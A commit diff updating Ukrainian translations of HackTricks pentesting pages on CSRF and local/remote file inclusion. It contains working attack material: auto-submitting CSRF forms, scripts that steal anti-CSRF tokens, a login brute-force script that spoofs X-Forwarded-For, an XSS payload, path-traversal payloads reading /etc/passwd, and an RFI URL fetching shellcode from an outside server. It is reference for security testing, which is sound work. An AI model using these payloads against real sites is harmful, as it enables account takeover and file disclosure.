Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent

This commit is contained in:
Translator 2025-08-26 17:00:11 +00:00
parent 051f570965
commit a8cd61e3cd
5 changed files with 695 additions and 578 deletions

View File

@ -2,83 +2,111 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Пояснення Cross-Site Request Forgery (CSRF) ## Cross-Site Request Forgery (CSRF) Пояснення
**Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Він дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень. **Cross-Site Request Forgery (CSRF)** — це тип вразливості безпеки у веб-застосунках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, використовуючи їхні автентифіковані сесії. Атака відбувається, коли користувач, який увійшов у платформу жертви, відвідує шкідливий сайт. Цей сайт ініціює запити до облікового запису жертви за допомогою виконання JavaScript, відправлення форм або завантаження зображень.
### Передумови для атаки CSRF ### Передумови для CSRF-атаки
Щоб експлуатувати вразливість CSRF, потрібно виконати кілька умов: Щоб експлуатувати вразливість CSRF, мають бути виконані кілька умов:
1. **Визначити цінну дію**: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв. 1. **Identify a Valuable Action**: Зловмиснику потрібно знайти дію, яку варто експлуатувати — наприклад, зміна пароля користувача, email або підвищення привілеїв.
2. **Управління сесією**: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети. 2. **Session Management**: Сесія користувача має керуватися виключно через cookies або заголовок HTTP Basic Authentication, оскільки інші заголовки не можна маніпулювати для цієї мети.
3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці. 3. **Absence of Unpredictable Parameters**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть запобігти атаці.
### Швидка перевірка ### Швидка перевірка
Ви можете **захопити запит у Burp** і перевірити захисти CSRF, а для тестування з браузера ви можете натиснути **Copy as fetch** і перевірити запит: Ви можете **захопити запит у Burp** і перевірити захист від CSRF, а для тестування з браузера можна натиснути **Copy as fetch** та переглянути запит:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Захист від CSRF ### Захист від CSRF
Можна реалізувати кілька контрзаходів для захисту від атак CSRF: Можна застосувати кілька контрзаходів для захисту від CSRF-атак:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Цей атрибут запобігає браузеру відправляти куки разом із запитами з інших сайтів. [Більше про SameSite cookies](hacking-with-cookies/index.html#samesite). - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Цей атрибут забороняє браузеру відправляти cookies разом із крос-сайт запитами. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS жертви може вплинути на здійсненність атаки, особливо якщо атака вимагає читання відповіді з сайту жертви. [Дізнайтеся про обходи CORS](cors-bypass.md). - [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може впливати на можливість здійснення атаки, особливо якщо атака вимагає читання відповіді від сайту жертви. [Learn about CORS bypass](cors-bypass.md).
- **Перевірка користувача**: Запит на введення пароля користувача або розв'язання капчі може підтвердити наміри користувача. - **Перевірка користувача**: Запит пароля користувача або вирішення captcha можуть підтвердити намір користувача.
- **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак обережне формування URL може обійти погано реалізовані перевірки, такі як: - **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти переконатися, що запити надходять із довірених джерел. Однак ретельно сконструйовані URL можуть обійти погано реалізовані перевірки, наприклад:
- Використання `http://mal.net?orig=http://example.com` (URL закінчується на надійний URL) - Використання `http://mal.net?orig=http://example.com` (URL закінчується на довірений URL)
- Використання `http://example.com.mal.net` (URL починається з надійного URL) - Використання `http://example.com.mal.net` (URL починається з довіреного URL)
- **Зміна імен параметрів**: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам. - **Зміна імен параметрів**: Зміна імен параметрів у POST чи GET запитах може ускладнити автоматизовані атаки.
- **Токени CSRF**: Включення унікального токена CSRF у кожну сесію та вимога цього токена в наступних запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS. - **CSRF Tokens**: Включення унікального CSRF token для кожної сесії та вимога цього токена у наступних запитах значно зменшує ризик CSRF. Ефективність токена можна підсилити через застосування CORS.
Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків. Розуміння та впровадження цих захистів є критичними для підтримання безпеки та цілісності веб-застосунків.
## Обхід захисту ## Defences Bypass
### Від POST до GET ### From POST to GET (method-conditioned CSRF validation bypass)
Можливо, форма, яку ви хочете зловживати, підготовлена для надсилання **POST запиту з токеном CSRF, але** ви повинні **перевірити**, чи **GET** також **дійсний** і чи, коли ви надсилаєте GET запит, **токен CSRF все ще перевіряється**. Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
Якщо вразливий endpoint також приймає параметри з $_REQUEST, ви можете повторно виконати ту саму дію як GET-запит і повністю опустити CSRF token. Це перетворює дію, призначену тільки для POST, на GET-запит, що виконується без токена.
Приклад:
- Original POST with token (intended):
```http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
```
- Bypass by switching to GET (no token):
```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
```
Примітки:
- Цей шаблон часто зустрічається разом із reflected XSS, коли відповіді помилково віддаються як text/html замість application/json.
- Поєднання цього з XSS значно знижує бар'єри для експлуатації, оскільки можна доставити єдине GET-посилання, яке і тригерить вразливий код, і повністю обходить перевірки CSRF.
### Відсутність токена ### Відсутність токена
Додатки можуть реалізувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка зовсім пропускається, коли токен відсутній. Зловмисники можуть експлуатувати це, **видаляючи параметр**, що несе токен, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно провести атаку Cross-Site Request Forgery (CSRF). Додатки можуть реалізовувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка повністю пропускається, коли токен відсутній. Атакувальники можуть скористатися цим, **видаливши параметр**, який містить токен, а не лише його значення. Це дозволяє їм обійти процес валідації і ефективно провести Cross-Site Request Forgery (CSRF) атаку.
### Токен CSRF не прив'язаний до сесії користувача ### CSRF token is not tied to the user session
Додатки, **які не прив'язують токени CSRF до сесій користувачів**, представляють значний **ризик безпеки**. Ці системи перевіряють токени проти **глобального пулу**, а не забезпечують, щоб кожен токен був прив'язаний до ініціюючої сесії. Додатки, які не прив'язують CSRF токени до сесій користувачів, становлять значний ризик безпеки. Такі системи перевіряють токени відносно **глобального пулу**, замість того щоб гарантувати, що кожен токен прив'язаний до сесії, яка його ініціювала.
Ось як зловмисники експлуатують це: Ось як атакувальники це використовують:
1. **Аутентифікуються** за допомогою свого облікового запису. 1. **Аутентифікуватися** за допомогою власного акаунта.
2. **Отримують дійсний токен CSRF** з глобального пулу. 2. **Отримати дійсний CSRF токен** з глобального пулу.
3. **Використовують цей токен** в атаці CSRF проти жертви. 3. **Використати цей токен** у CSRF-атакі проти жертви.
Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, експлуатуючи **недостатній механізм перевірки токенів** додатка. Ця вразливість дозволяє атакувальникам надсилати несанкціоновані запити від імені жертви, експлуатуючи неналежний механізм перевірки токенів у додатку.
### Обхід методу ### Обхід методу
Якщо запит використовує "**незвичний**" **метод**, перевірте, чи працює **функціональність** **перезапису методу**. Наприклад, якщо він **використовує метод PUT**, ви можете спробувати **використати метод POST** і **надіслати**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Якщо запит використовує «дивний» метод, перевірте, чи працює функціональність override методу. Наприклад, якщо використовується метод PUT, можна спробувати використати POST і відправити: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Це також може спрацювати, якщо надіслати **параметр \_method всередині POST запиту** або використовуючи **заголовки**: Це також може спрацювати, відправивши **\_method параметр всередині POST-запиту** або використовуючи **заголовки**:
- _X-HTTP-Method_ - _X-HTTP-Method_
- _X-HTTP-Method-Override_ - _X-HTTP-Method-Override_
- _X-Method-Override_ - _X-Method-Override_
### Обхід токена кастомного заголовка ### Custom header token bypass
Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, тоді: Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, то:
- Перевірте запит без **кастомізованого токена та заголовка.** - Перевірте запит без **кастомного токена та відповідного заголовка.**
- Перевірте запит з точною **такою ж довжиною, але іншим токеном**. - Перевірте запит з точно **такою ж довжиною, але іншим токеном.**
### Токен CSRF перевіряється за допомогою куки ### CSRF token is verified by a cookie
Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куки CSRF і перевіряючи, чи відповідає токен, надісланий на бекенд, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки. Додатки можуть реалізовувати захист від CSRF шляхом дублювання токена як у cookie, так і в параметрі запиту, або встановлюючи CSRF cookie і перевіряючи, чи відповідає токен, надісланий у запиті, значенню cookie. Застосунок валідуює запити, перевіряючи, чи співпадає токен у параметрі запиту зі значенням у cookie.
Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куки CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куки, а потім ініціюючи атаку CSRF. Однак цей метод вразливий до CSRF-атак, якщо на сайті є вади, що дозволяють атакувальнику встановити CSRF cookie у браузері жертви, наприклад CRLF-вразливість. Атакувальник може скористатися цим, завантаживши підступне зображення, яке встановлює cookie, а потім ініціювавши CSRF-атаку.
Нижче наведено приклад того, як може бути структурована атака: Нижче наведено приклад того, як може бути структурована атака:
```html ```html
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
</html> </html>
``` ```
> [!TIP] > [!TIP]
> Зверніть увагу, що якщо **csrf токен пов'язаний з сесійним кукі, ця атака не спрацює**, оскільки вам потрібно буде встановити жертві вашу сесію, і, отже, ви будете атакувати себе. > Зауважте, що якщо **csrf token пов'язаний із session cookie, ця атака не спрацює**, оскільки вам доведеться підставити session жертви у себе, і, отже, ви будете атакувати самі себе.
### Зміна Content-Type ### Зміна Content-Type
Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути попередніх** запитів, використовуючи метод **POST**, ці значення Content-Type дозволені: Згідно з [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути preflight** запитів при використанні методу **POST**, дозволені наступні значення Content-Type:
- **`application/x-www-form-urlencoded`** - **`application/x-www-form-urlencoded`**
- **`multipart/form-data`** - **`multipart/form-data`**
- **`text/plain`** - **`text/plain`**
Однак зверніть увагу, що **логіка серверів може варіюватися** в залежності від використаного **Content-Type**, тому вам слід спробувати зазначені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Однак зверніть увагу, що **логіка серверів може відрізнятися** залежно від використовуваного **Content-Type**, тому слід спробувати наведені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Приклад (з [тут](https://brycec.me/posts/corctf_2021_challenges)) відправки JSON даних як text/plain: Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
```html ```html
<html> <html>
<body> <body>
@ -134,31 +162,32 @@ form.submit()
</body> </body>
</html> </html>
``` ```
### Обхід попередніх запитів для JSON-даних ### Обхід preflight-запитів для JSON-даних
Коли ви намагаєтеся надіслати JSON-дані через POST-запит, використання `Content-Type: application/json` в HTML-формі не є безпосередньо можливим. Аналогічно, використання `XMLHttpRequest` для надсилання цього типу вмісту ініціює попередній запит. Проте існують стратегії, які можуть обійти це обмеження та перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type: When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:
1. **Використовуйте альтернативні типи вмісту**: Використовуйте `Content-Type: text/plain` або `Content-Type: application/x-www-form-urlencoded`, встановивши `enctype="text/plain"` у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type. 1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.
2. **Змініть тип вмісту**: Щоб уникнути попереднього запиту, забезпечуючи, щоб сервер розпізнавав вміст як JSON, ви можете надіслати дані з `Content-Type: text/plain; application/json`. Це не викликає попереднього запиту, але може бути правильно оброблено сервером, якщо він налаштований на прийом `application/json`. 2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`.
3. **Використання SWF Flash файлу**: Менш поширений, але можливий метод полягає у використанні SWF flash файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). 3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Обхід перевірки Referrer / Origin ### Referrer / Origin check bypass
**Уникайте заголовка Referrer** **Уникати заголовка Referer**
Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використовувати наступний HTML мета-тег: Додатки можуть перевіряти заголовок 'Referer' тільки коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використати наступний HTML meta tag:
```xml ```xml
<meta name="referrer" content="never"> <meta name="referrer" content="never">
``` ```
Це забезпечує відсутність заголовка 'Referer', що потенційно обминає перевірки валідації в деяких додатках. Це гарантує, що заголовок 'Referer' буде опущено, потенційно обходячи перевірки валідації в деяких додатках.
**Regexp bypasses**
**Regexp обхід**
{{#ref}} {{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}} {{#endref}}
Щоб встановити доменне ім'я сервера в URL, який Referrer буде надсилати в параметрах, ви можете зробити: Щоб встановити домен сервера в URL, який Referrer збирається відправити всередині параметрів, ви можете зробити так:
```html ```html
<html> <html>
<!-- Referrer policy needed to send the qury parameter in the referrer --> <!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -187,25 +216,25 @@ document.forms[0].submit()
</body> </body>
</html> </html>
``` ```
### **Метод обходу HEAD** ### **Обхід методу HEAD**
Перша частина [**цього CTF звіту**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що [джерело Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281) налаштоване на **обробку запитів HEAD як запитів GET** без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто **передають обробнику GET, але додаток просто видаляє тіло відповіді**. У першій частині [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснюється, що [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), роутер налаштовано так, щоб **handle HEAD requests as GET requests** без тіла відповіді — це поширене обхідне рішення, не унікальне для Oak. Замість спеціального обробника для HEAD-запитів їх просто **given to the GET handler but the app just removes the response body**.
Отже, якщо запит GET обмежений, ви можете просто **надіслати запит HEAD, який буде оброблений як запит GET**. Отже, якщо GET-запит обмежено, можна просто **send a HEAD request that will be processed as a GET request**.
## **Приклади експлуатації** ## **Приклади експлойтів**
### **Екстракція токена CSRF** ### **Екфільтрація CSRF Token**
Якщо **токен CSRF** використовується як **захист**, ви можете спробувати **екстрактувати його**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). Якщо використовується **CSRF token** як засіб **захисту**, можна спробувати **exfiltrate it**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
### **GET за допомогою HTML тегів** ### **GET using HTML tags**
```xml ```xml
<img src="http://google.es?param=VALUE" style="display:none" /> <img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1> <h1>404 - Page not found</h1>
The URL you are requesting is no longer available The URL you are requesting is no longer available
``` ```
Інші теги HTML5, які можна використовувати для автоматичної відправки GET-запиту, це: Інші HTML5-теги, які можна використовувати для автоматичної відправки GET-запиту, включають:
```html ```html
<iframe src="..."></iframe> <iframe src="..."></iframe>
<script src="..."></script> <script src="..."></script>
@ -234,7 +263,7 @@ background: url("...");
</video> </video>
</audio> </audio>
``` ```
### Форма GET запиту ### GET-запит форми
```html ```html
<html> <html>
<!-- CSRF PoC - generated by Burp Suite Professional --> <!-- CSRF PoC - generated by Burp Suite Professional -->
@ -252,7 +281,7 @@ document.forms[0].submit()
</body> </body>
</html> </html>
``` ```
### Запит POST форми ### POST-запит форми
```html ```html
<html> <html>
<body> <body>
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body> </body>
</html> </html>
``` ```
### Відправка POST запиту через iframe ### Надсилання POST-запиту форми через iframe
```html ```html
<!-- <!--
The request is sent through the iframe withuot reloading the page The request is sent through the iframe withuot reloading the page
@ -303,7 +332,7 @@ document.forms[0].submit()
</body> </body>
</html> </html>
``` ```
### **Ajax POST запит** ### **Ajax POST request**
```html ```html
<script> <script>
var xh var xh
@ -332,7 +361,7 @@ data: "param=value&param2=value2",
}) })
</script> </script>
``` ```
### multipart/form-data POST запит ### multipart/form-data POST request
```javascript ```javascript
myFormData = new FormData() myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" }) var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
@ -345,7 +374,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors", mode: "no-cors",
}) })
``` ```
### multipart/form-data POST запит v2 ### multipart/form-data POST request v2
```javascript ```javascript
// https://www.exploit-db.com/exploits/20009 // https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length, var fileSize = fileData.length,
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
//xhr.send(body); //xhr.send(body);
xhr.sendAsBinary(body) xhr.sendAsBinary(body)
``` ```
### Відправка POST запиту зсередини iframe ### POST-запит форми всередині iframe
```html ```html
<--! expl.html --> <--! expl.html -->
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
</body> </body>
</body> </body>
``` ```
### **Вкрасти CSRF токен і надіслати POST запит** ### **Вкрасти CSRF Token та надіслати POST-запит**
```javascript ```javascript
function submitFormWithTokenJS(token) { function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest() var xhr = new XMLHttpRequest()
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE"
getTokenJS() getTokenJS()
``` ```
### **Вкрасти CSRF токен і надіслати Post запит, використовуючи iframe, форму та Ajax** ### **Вкрасти CSRF Token та надіслати POST-запит, використовуючи iframe, form та Ajax**
```html ```html
<form <form
id="form1" id="form1"
@ -472,7 +501,7 @@ style="display:none"
src="http://google.com?param=VALUE" src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe> onload="javascript:f1();"></iframe>
``` ```
### **Вкрасти CSRF токен і надіслати POST запит за допомогою iframe та форми** ### **Вкрасти CSRF Token і надіслати POST request, використовуючи iframe і form**
```html ```html
<iframe <iframe
id="iframe" id="iframe"
@ -505,7 +534,7 @@ document.forms[0].submit.click()
} }
</script> </script>
``` ```
### **Викрасти токен і надіслати його за допомогою 2 iframe** ### **Вкрасти token і відправити його, використовуючи 2 iframes**
```html ```html
<script> <script>
var token; var token;
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button> <button type="submit">Submit</button>
</form> </form>
``` ```
### **POSTSteal CSRF токен за допомогою Ajax і надіслати пост з формою** ### **POSTSteal CSRF token за допомогою Ajax і відправити post через form**
```html ```html
<body onload="getData()"> <body onload="getData()">
<form <form
@ -586,9 +615,9 @@ room: username,
}) })
</script> </script>
``` ```
## CSRF Login Brut Force ## CSRF Login Brute Force
Код можна використовувати для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе чорне списування IP): Код можна використати для Brut Force форми входу, що використовує CSRF token (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе IP blacklisting):
```python ```python
import request import request
import re import re
@ -643,7 +672,6 @@ login(USER, line.strip())
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## File Inclusion ## File Inclusion
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\ **Remote File Inclusion (RFI):** file завантажується з віддаленого server (Найкраще: Ви можете написати code і server його виконає). У php це за замовчуванням **відключено** (**allow_url_include**).\
**Local File Inclusion (LFI):** Сервер завантажує локальний файл. **Local File Inclusion (LFI):** server завантажує local file.
Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером. Вразливість виникає, коли користувач якимось чином може контролювати file, який server збирається завантажити.
Вразливі **PHP функції**: require, require_once, include, include_once Уразливі **PHP functions**: require, require_once, include, include_once
Цікаві інструменти для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) Корисний інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files ## Blind - Interesting - LFI2RCE files
```python ```python
@ -19,43 +19,42 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
``` ```
### **Linux** ### **Linux**
**Змішуючи кілька списків LFI для \*nix і додаючи більше шляхів, я створив цей:** **Змішавши кілька \*nix LFI списків і додавши більше шляхів, я створив цей:**
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}} {{#endref}}
Спробуйте також змінити `/` на `\`\ Спробуйте також замінити `/` на `\`\
Спробуйте також додати `../../../../../` Спробуйте також додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows** ### **Windows**
Злиття різних списків слів: Об'єднання різних wordlists:
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}} {{#endref}}
Спробуйте також змінити `/` на `\`\ Спробуйте також замінити `/` на `\`\
Спробуйте також видалити `C:/` і додати `../../../../../` Спробуйте також видалити `C:/` і додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X** ### **OS X**
Перевірте список LFI для linux. Перевірте LFI список linux.
## Основний LFI та обхід ## Основи LFI та обхідні методи
Всі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>). Усі приклади стосуються Local File Inclusion, але також можуть застосовуватися до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
``` ```
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
### послідовності обходу, видалені нерекурсивно ### traversal sequences, обрізані нерекурсивно
```python ```python
http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,15 +62,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
``` ```
### **Null byte (%00)** ### **Null byte (%00)**
Обійти додавання більше символів в кінець наданого рядка (обхід: $\_GET\['param']."php") Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php")
``` ```
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
Це **вирішено з PHP 5.4** Це **виправлено з PHP 5.4**
### **Кодування** ### **Кодування**
Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші): Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):
``` ```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,42 +79,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
``` ```
### З існуючої папки ### З існуючої папки
Можливо, бекенд перевіряє шлях до папки: Можливо, back-end перевіряє шлях до папки:
```python ```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
``` ```
### Дослідження каталогів файлової системи на сервері ### Дослідження File System Directories on a Server
Файлова система сервера може бути досліджена рекурсивно для виявлення каталогів, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини каталогу та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього: File system of a server можна рекурсивно досліджувати, щоб виявляти directories, а не лише files, застосовуючи певні techniques. Цей процес передбачає визначення directory depth та перевірку існування конкретних folders. Нижче наведено детальний метод для цього:
1. **Визначте глибину каталогу:** Визначте глибину вашого поточного каталогу, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три: 1. **Визначте Directory Depth:** Визначте глибину вашої поточної directory, успішно отримавши файл `/etc/passwd` (застосовується, якщо server — Linux-based). Приклад URL може бути структурований таким чином, вказуючи depth 3:
```bash ```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3 http://example.com/index.php?page=../../../etc/passwd # depth of 3
``` ```
2. **Дослідження папок:** Додайте назву підозрюваної папки (наприклад, `private`) до URL, а потім перейдіть назад до `/etc/passwd`. Додатковий рівень каталогу вимагає збільшення глибини на один: 2. **Перевірте папки:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю:
```bash ```bash
